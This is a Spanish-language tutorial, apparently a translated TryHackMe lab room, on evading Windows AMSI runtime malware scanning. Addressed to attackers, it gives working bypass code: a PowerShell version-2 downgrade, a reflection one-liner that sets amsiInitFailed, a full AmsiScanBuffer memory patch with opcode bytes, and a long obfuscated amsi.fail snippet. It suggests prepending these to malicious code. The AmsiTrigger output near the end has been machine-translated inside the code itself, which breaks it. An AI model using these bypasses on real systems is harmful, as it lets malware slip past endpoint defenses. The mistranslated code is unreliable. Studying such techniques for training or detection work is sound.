Runtime Detection Evasion

Runtime Detections

Al ejecutar código o aplicaciones, casi siempre fluirá a través de un tiempo de ejecución, sin importar el intérprete. Esto se ve con mayor frecuencia cuando se utilizan llamadas a la API de Windows y se interactúa con .NET. CLR ( Common Language Runtime ) y DLR ( Dynamic Language Runtime ) son los tiempos de ejecución para .NET y son los más comunes que encontrará cuando trabaje con sistemas Windows . En esta tarea, no discutiremos los detalles de los tiempos de ejecución; en cambio, discutiremos cómo se monitorean y se detecta el código malicioso.

Una medida de detección en tiempo de ejecución escaneará el código antes de su ejecución en tiempo de ejecución y determinará si es malicioso o no. Dependiendo de la medida de detección y la tecnología detrás de ella, esta detección podría basarse en firmas de cadenas, heurísticas o comportamientos. Si se sospecha que el código es malicioso, se le asignará un valor y, si está dentro de un rango específico, detendrá la ejecución y posiblemente pondrá en cuarentena o eliminará el archivo/código.

Las medidas de detección en tiempo de ejecución son diferentes de las de un antivirus estándar porque escanearán directamente desde la memoria y el tiempo de ejecución. Al mismo tiempo, los productos antivirus también pueden emplear estas detecciones en tiempo de ejecución para brindar más información sobre las llamadas y los ganchos que se originan en el código. En algunos casos, los productos antivirus pueden utilizar un flujo o fuente de detección en tiempo de ejecución como parte de su heurística.

En esta sala nos centraremos principalmente en AMSI ( A nti- M alware Scan Interface ) . AMSI es una medida de detección en tiempo de ejecución que se incluye de forma nativa con Windows y es una interfaz para otros productos y soluciones.

AMSI Overview

AMSI ( A nti- M alware S can I nterface) es una característica de seguridad de PowerShell que permitirá que cualquier aplicación o servicio se integre directamente en productos antimalware. Defender instrumenta AMSI para escanear cargas útiles y scripts antes de su ejecución dentro del tiempo de ejecución de .NET. De Microsoft: "La interfaz de escaneo antimalware de Windows (AMSI) es un estándar de interfaz versátil que permite que sus aplicaciones y servicios se integren con cualquier producto antimalware que esté presente en una máquina. AMSI brinda protección mejorada contra malware para sus usuarios finales y sus datos. , aplicaciones y cargas de trabajo".

Para obtener más información sobre AMSI , consulte los documentos de Windows .

AMSI determinará sus acciones a partir de un código de respuesta como resultado del monitoreo y escaneo. A continuación se muestra una lista de posibles códigos de respuesta,

• AMSI_RESULT_CLEAN = 0

• AMSI_RESULT_NOT_DETECTED = 1

• AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384

• AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479

• AMSI_RESULT_DETECTED = 32768

Estos códigos de respuesta solo se informarán en el backend de AMSI o mediante una implementación de terceros. Si AMSI detecta un resultado malicioso, detendrá la ejecución y enviará el siguiente mensaje de error.

Respuesta de error AMSI

PS C:Users\Tryhackme> 'Invoke-Hacks'
At line:1 char:1
+ "Invoke-Hacks"
+ ~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
		+ CategoryInfo          : ParserError: (:) []. ParentContainsErrorRecordException
		+ FullyQualifiedErrorId : ScriptContainedMaliciousContent

AMSI está completamente integrado en los siguientes componentes de Windows,

• Control de cuentas de usuario o UAC

• Potencia Shell

• Host de secuencias de comandos de Windows (wscript y cscript)

• JavaScript y VBScript

• Macros de Office VBA

Como atacantes, al atacar los componentes anteriores, tendremos que tener en cuenta AMSI y sus implementaciones al ejecutar código o abusar de los componentes.

AMSI Instrumentation

La forma en que se instrumenta AMSI puede ser compleja e incluye múltiples DLL y diferentes estrategias de ejecución según dónde se instrumente. Por definición, AMSI es sólo una interfaz para otros productos antimalware; AMSI utilizará múltiples DLL de proveedores y llamadas API dependiendo de lo que se esté ejecutando y en qué capa se esté ejecutando.

AMSI está instrumentado a partir deSystem.Management.Automation.dll , un ensamblado .NET desarrollado por Windows; De los documentos de Microsoft, "Los ensamblados forman las unidades fundamentales de implementación, control de versiones, reutilización, alcance de activación y permisos de seguridad para aplicaciones basadas en .NET". El ensamblado .NET instrumentará otras DLL y llamadas API según el intérprete y si está en el disco o en la memoria. El siguiente diagrama muestra cómo se analizan los datos a medida que fluyen a través de las capas y qué DLL/llamadas API se están instrumentando.

20231026090547.png

En el gráfico anterior, los datos comenzarán a fluir dependiendo del intérprete utilizado (PowerShell/VBScript/etc.). Se instrumentarán varias llamadas API e interfaces a medida que los datos fluyan por el modelo en cada capa. Es importante comprender el modelo completo de AMSI, pero podemos dividirlo en componentes principales, como se muestra en el siguiente diagrama.

20231026090559.png

Nota: AMSI solo se instrumenta cuando se carga desde la memoria cuando se ejecuta desde CLR. Se supone que si en el disco ya se está instrumentando MsMpEng.exe (Windows Defender).

La mayor parte de nuestra investigación y omisiones conocidas se colocan en la capa API de Win32 , manipulando la llamada API AmsiScanBuffer .

También puede observar la interfaz "Otras aplicaciones" de AMSI . Terceros, como proveedores de AV, pueden instrumentar AMSI desde sus productos. Microsoft documenta las funciones AMSI y la interfaz de flujo AMSI .

---

Podemos desglosar el código de la instrumentación AMSI PowerShell para comprender mejor cómo se implementa y comprobar si hay contenido sospechoso. Para encontrar dónde está instrumentado AMSI, podemos usar InsecurePowerShell mantenido por Cobbr . Insecure PowerShell es una bifurcación de GitHub de PowerShell sin funciones de seguridad; esto significa que podemos revisar las confirmaciones comparadas y observar cualquier característica de seguridad. AMSI sólo está instrumentado en doce líneas de código bajo src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs . Estas doce líneas se muestran a continuación.

var scriptExtent = scriptBlockAst.Extent;
 if (AmsiUtils.ScanContent(scriptExtent.Text, scriptExtent.File) == AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED)
 {
  var parseError = new ParseError(scriptExtent, "ScriptContainedMaliciousContent", ParserStrings.ScriptContainedMaliciousContent);
  throw new ParseException(new[] { parseError });
 }

 if (ScriptBlock.CheckSuspiciousContent(scriptBlockAst) != null)
 {
  HasSuspiciousContent = true;
 }

---

Podemos aprovechar nuestro conocimiento sobre cómo se instrumenta AMSI y la investigación de otros para crear y utilizar derivaciones que abusen y evadan a AMSI o sus utilidades.

PowerShell Downgrade

El ataque de degradación de PowerShell es una opción muy fácil que permite a los atacantes modificar la versión actual de PowerShell para eliminar funciones de seguridad.

La mayoría de las sesiones de PowerShell comenzarán con el motor PowerShell más reciente, pero los atacantes pueden cambiar manualmente la versión con una sola línea. Al "degradar" la versión de PowerShell a 2.0, se omiten las funciones de seguridad, ya que no se implementaron hasta la versión 5.0.

El ataque solo requiere una sola línea para ejecutarse en nuestra sesión. Podemos lanzar un nuevo proceso de PowerShell con las banderas-Version para especificar la versión (2).

PowerShell -Version 2

Este ataque puede verse explotado activamente en herramientas como Unicorn .

full_attack = '''powershell /w 1 /C "sv {0} -;sv {1} ec;sv {2} ((gv {3}).value.toString()+(gv {4}).value.toString());powershell (gv {5}).value.toString() (\\''''.format(ran1, ran2, ran3, ran1, ran2, ran3) + haha_av + ")" + '"'

Dado que este ataque es una fruta madura y de técnica simple, el equipo azul tiene una gran cantidad de formas de detectarlo y mitigarlo.

Las dos mitigaciones más sencillas son eliminar el motor PowerShell 2.0 del dispositivo y negar el acceso a PowerShell 2.0 mediante la lista de bloqueo de aplicaciones.

PowerShell Reflection

Reflection permite a un usuario o administrador acceder e interactuar con ensamblados .NET. De los documentos de Microsoft, "Los ensamblados forman las unidades fundamentales de implementación, control de versiones, reutilización, alcance de activación y permisos de seguridad para aplicaciones basadas en .NET". Los ensamblados .NET pueden parecer extraños; sin embargo, podemos hacerlos más familiares sabiendo que toman forma en formatos familiares como exe ( ejecutable ) y dll ( biblioteca dinámica de tinta ).

Se puede abusar de la reflexión de PowerShell para modificar e identificar información de archivos DLL valiosos.

Las utilidades AMSI para PowerShell se almacenan en elAMSIUtils ensamblado .NET ubicado en System.Management.Automation.AmsiUtils.

Matt Graeber publicó una frase para lograr el objetivo de utilizar Reflection para modificar y omitir la utilidad AMSI . Esta línea única se puede ver en el bloque de código a continuación.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Para explicar la funcionalidad del código, lo dividiremos en secciones más pequeñas.

Primero, el fragmento llamará a la función de reflexión y especificará que desea usar un ensamblado; [Ref.Assembly]luego obtendrá el tipo de utilidad AMSI usandoGetType .

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

La información recopilada en la sección anterior se enviará a la siguiente función para obtener un campo específico dentro del ensamblado usando GetField.

.GetField('amsiInitFailed','NonPublic,Static')

La información del ensamblado y del campo se reenviará al siguiente parámetro para establecer el valor desde $falsea $trueusando SetValue.

.SetValue($null,$true)

Una vez que el amsiInitFailedcampo esté configurado en $true, AMSI responderá con el código de respuesta: AMSI_RESULT_NOT_DETECTED = 1

Patching AMSI

AMSI está principalmente instrumentado y cargado desdeamsi.dll ; Esto se puede confirmar en el diagrama que observamos anteriormente. Se puede abusar de este dll y obligarlo a apuntar a un código de respuesta que queramos. LaAmsiScanBufferfunción nos proporciona los enlaces y la funcionalidad que necesitamos para acceder al puntero/búfer del código de respuesta.

AmsiScanBufferes vulnerable porque amsi.dllse carga en el proceso de PowerShell al inicio; nuestra sesión tiene el mismo nivel de permiso que la utilidad.

AmsiScanBufferescaneará un " búfer " de código sospechoso y lo informará amsi.dllpara determinar la respuesta. Podemos controlar esta función y sobrescribir el búfer con un código de retorno limpio. Para identificar el búfer necesario para el código de retorno, necesitamos hacer algo de ingeniería inversa; afortunadamente, esta investigación e ingeniería inversa ya se han realizado. ¡Tenemos el código de retorno exacto que necesitamos para obtener una respuesta limpia!

Desglosaremos un fragmento de código modificado por BC-Security e inspirado por Tal Liberman; Puedes encontrar el código original aquí . RastaMouse también tiene un bypass similar escrito en C# que utiliza la misma técnica; Puedes encontrar el código aquí .

En un nivel alto, la aplicación de parches AMSI se puede dividir en cuatro pasos,

1. Obtener el identificador deamsi.dll

2. Obtener dirección de proceso deAmsiScanBuffer

3. Modificar las protecciones de memoria deAmsiScanBuffer

4. Escribir códigos de operación enAmsiScanBuffer

Primero debemos cargar cualquier biblioteca externa o llamada API que queramos utilizar; Cargaremos GetProcAddress , GetModuleHandle y VirtualProtect desde kernel32 usando p/invoke .

[DllImport(`"kernel32`")] // Import DLL where API call is stored
public static extern IntPtr GetProcAddress( // API Call to import
	IntPtr hModule, // Handle to DLL module
	string procName // function or variable to obtain
);

[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(
	string lpModuleName // Module to obtain handle
);

[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(
	IntPtr lpAddress, // Address of region to modify
	UIntPtr dwSize, // Size of region
	uint flNewProtect, // Memory protection options
	out uint lpflOldProtect // Pointer to store previous protection options
); 

Las funciones ahora están definidas, pero necesitamos cargar las llamadas APIAdd-Type usando . Este cmdlet cargará las funciones con un tipo y espacio de nombres adecuados que permitirán llamar a las funciones.

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;

Ahora que podemos llamar a nuestras funciones API , podemos identificar dónde amsi.dllse encuentra y cómo llegar a la función. Primero, necesitamos identificar el identificador del proceso de AMSI usandoGetModuleHandle . Luego, el identificador se utilizará para identificar la dirección del proceso de AmsiScanBufferuso GetProcAddress.

$handle = [Win32.Kernel32]::GetModuleHandle(
	'amsi.dll' // Obtains handle to amsi.dll
);
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress(
	$handle, // Handle of amsi.dll
	'AmsiScanBuffer' // API call to obtain
); 

A continuación, necesitamos modificar la protección de la memoria de la AmsiScanBufferregión del proceso. Podemos especificar parámetros y la dirección del búfer para VirtualProtect.

La información sobre los parámetros y sus valores se puede encontrar en la documentación API mencionada anteriormente .

[UInt32]$Size = 0x5; // Size of region
[UInt32]$ProtectFlag = 0x40; // PAGE_EXECUTE_READWRITE
[UInt32]$OldProtectFlag = 0; // Arbitrary value to store options
[Win32.Kernel32]::VirtualProtect(
	$BufferAddress, // Point to AmsiScanBuffer
	$Size, // Size of region
	$ProtectFlag, // Enables R or RW access to region
	[Ref]$OldProtectFlag // Pointer to store old options
); 

Necesitamos especificar con qué queremos sobrescribir el búfer; El proceso para identificar este búfer se puede encontrar aquí . Una vez que se especifica el búfer, podemos usar la copia mariscal para escribir en el proceso.

$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);

[system.runtime.interopservices.marshal]::copy(
	$buf, // Opcodes/array to write
	0, // Where to start copying in source array 
	$BufferAddress, // Where to write (AsmiScanBuffer)
	6 // Number of elements/opcodes to write
); 

¡En esta etapa, deberíamos tener un bypass AMSI que funcione! Cabe señalar que con la mayoría de las herramientas, las firmas y detecciones pueden y están diseñadas para detectar este script.

Automating for Fun and Profit

Si bien se prefiere utilizar los métodos anteriores que se muestran en esta sala, los atacantes pueden utilizar otras herramientas automatizadas para romper las firmas AMSI o compilar una derivación.

La primera herramienta de automatización que veremos es amsi.fail.

amsi.fail compilará y generará una omisión de PowerShell a partir de una colección de omisiones conocidas. Desde amsi.fail, "AMSI.fail genera fragmentos de PowerShell ofuscados que interrumpen o deshabilitan AMSI para el proceso actual. Los fragmentos se seleccionan aleatoriamente de un pequeño grupo de técnicas/variaciones antes de ofuscarlos. Cada fragmento se ofusca en tiempo de ejecución/solicitud para que no La salida generada comparte las mismas firmas".

A continuación se muestra un ejemplo de un fragmento de PowerShell ofuscado de amsi.fail

$d=$null;$qcgcjblv=[$(('Sys'+'tem').NoRMALizE([CHar](70*66/66)+[CHaR](77+34)+[cHaR]([bYTe]0x72)+[ChAR]([bYtE]0x6d)+[chaR](68*10/10)) -replace [cHAR](92)+[char]([ByTE]0x70)+[cHar]([bYtE]0x7b)+[Char](69+8)+[ChAr]([bYTE]0x6e)+[ChaR]([BYtE]0x7d)).Runtime.InteropServices.Marshal]::AllocHGlobal((9076+7561-7561));$pkgzwpahfwntq="+('lwbj'+'cymh').NORmaliZe([CHar]([byTe]0x46)+[char](111)+[ChAR]([ByTE]0x72)+[chaR](109*73/73)+[ChAR]([ByTE]0x44)) -replace [char]([bytE]0x5c)+[Char](112*106/106)+[char]([bYte]0x7b)+[chAR]([BYtE]0x4d)+[CHAR](110+8-8)+[CHAr]([BytE]0x7d)";[Threading.Thread]::Sleep(1595);[Ref].Assembly.GetType("$(('Sys'+'tem').NoRMALizE([CHar](70*66/66)+[CHaR](77+34)+[cHaR]([bYTe]0x72)+[ChAR]([bYtE]0x6d)+[chaR](68*10/10)) -replace [cHAR](92)+[char]([ByTE]0x70)+[cHar]([bYtE]0x7b)+[Char](69+8)+[ChAr]([bYTE]0x6e)+[ChaR]([BYtE]0x7d)).$(('Mãnâge'+'ment').NOrMalIzE([ChaR](70)+[chAR](111*105/105)+[cHAR](114+29-29)+[chaR]([bYtE]0x6d)+[CHAR](22+46)) -replace [cHar]([BytE]0x5c)+[CHar](112*11/11)+[chAR](123+34-34)+[CHAR](77*13/13)+[cHaR]([bYTe]0x6e)+[cHAR]([bYte]0x7d)).$(('Àutõmâtî'+'ôn').NoRMAlIZe([CHar]([bYTE]0x46)+[Char]([byte]0x6f)+[cHAR]([BYtE]0x72)+[cHAR](109+105-105)+[ChAr](68*28/28)) -replace [chAR]([BytE]0x5c)+[cHAr]([BYTE]0x70)+[CHAR]([BytE]0x7b)+[char]([byte]0x4d)+[CHaR]([BYte]0x6e)+[chaR](125+23-23)).$([CHAR]([ByTe]0x41)+[CHAr]([bYtE]0x6d)+[chaR](115*46/46)+[cHar]([BYTe]0x69)+[cHaR](85)+[CHAr](116)+[chAr](105*44/44)+[cHAr](108*64/64)+[chAr]([BYte]0x73))").GetField("$(('àmsí'+'Sess'+'íón').norMALiZE([CHaR](70*49/49)+[chAr](87+24)+[ChaR]([bytE]0x72)+[chAr](109)+[chAR](68+43-43)) -replace [CHAr](92)+[chAr]([byTe]0x70)+[CHAr]([bYTE]0x7b)+[cHAr](77*71/71)+[CHar]([bYtE]0x6e)+[char](125+49-49))", "NonPublic,Static").SetValue($d, $null);[Ref].Assembly.GetType("$(('Sys'+'tem').NoRMALizE([CHar](70*66/66)+[CHaR](77+34)+[cHaR]([bYTe]0x72)+[ChAR]([bYtE]0x6d)+[chaR](68*10/10)) -replace [cHAR](92)+[char]([ByTE]0x70)+[cHar]([bYtE]0x7b)+[Char](69+8)+[ChAr]([bYTE]0x6e)+[ChaR]([BYtE]0x7d)).$(('Mãnâge'+'ment').NOrMalIzE([ChaR](70)+[chAR](111*105/105)+[cHAR](114+29-29)+[chaR]([bYtE]0x6d)+[CHAR](22+46)) -replace [cHar]([BytE]0x5c)+[CHar](112*11/11)+[chAR](123+34-34)+[CHAR](77*13/13)+[cHaR]([bYTe]0x6e)+[cHAR]([bYte]0x7d)).$(('Àutõmâtî'+'ôn').NoRMAlIZe([CHar]([bYTE]0x46)+[Char]([byte]0x6f)+[cHAR]([BYtE]0x72)+[cHAR](109+105-105)+[ChAr](68*28/28)) -replace [chAR]([BytE]0x5c)+[cHAr]([BYTE]0x70)+[CHAR]([BytE]0x7b)+[char]([byte]0x4d)+[CHaR]([BYte]0x6e)+[chaR](125+23-23)).$([CHAR]([ByTe]0x41)+[CHAr]([bYtE]0x6d)+[chaR](115*46/46)+[cHar]([BYTe]0x69)+[cHaR](85)+[CHAr](116)+[chAr](105*44/44)+[cHAr](108*64/64)+[chAr]([BYte]0x73))").GetField("$([chAR]([byTe]0x61)+[Char](109+52-52)+[cHar](46+69)+[CHar]([byTe]0x69)+[CHAR]([BYTe]0x43)+[Char]([ByTe]0x6f)+[chAR](110)+[chaR](116*47/47)+[cHar](101)+[CHAR]([bYte]0x78)+[CHaR]([ByTE]0x74))", "NonPublic,Static").SetValue($null, [IntPtr]$qcgcjblv);

Puede adjuntar esta omisión al comienzo de su código malicioso como con omisiones anteriores o ejecutarla en la misma sesión antes de ejecutar el código malicioso.

---

AMSITrigger permite a los atacantes identificar automáticamente cadenas que marcan firmas para modificarlas y romperlas. Este método para omitir AMSI es más consistente que otros porque está limpiando el archivo.

La sintaxis para utilizar amsitrigger es relativamente sencilla; debe especificar el archivo o URL y el formato para escanear el archivo. A continuación se muestra un ejemplo de cómo ejecutar amsitrigger.

Ejemplo de activador AMSI

C:\Users\Tryhackme\Tools>AmsiTrigger_x64.exe -i "bypass.ps1" -f 3 $MethodDefinition = " 
    [DllImport(`"kernel32`")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 
    [ DllImport(`"kernel32`")] public static extern IntPtr GetModuleHandle(string lpModuleName); 
    [DllImport(`"kernel32`")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); " ; 
$Kernel32 = Agregar tipo -MemberDefinition $MethodDefinition -Nombre 'Kernel32' -NameSpace 'Win32' -PassThru; $manejar = [Win32.Kernel32]::GetModuleHandle('amsi.dll'); [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, ' AmsiScanBuffer '); [UInt32]$Tamaño = 0x5; [UInt32]$ProtectFlag = 0x40; [UInt32]$OldProtectFlag = 0; [Win32.Kernel32] ::VirtualProtect($BufferAddress, $Tamaño, $ProtectFlag, [Ref]$OldProtectFlag); $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); 
[system.runtime.interopservices.marshal]::copia( $buf, 0, $BufferAddress, 6);  

Las firmas están resaltadas en rojo; puede romper estas firmas codificando, ofuscando, etc.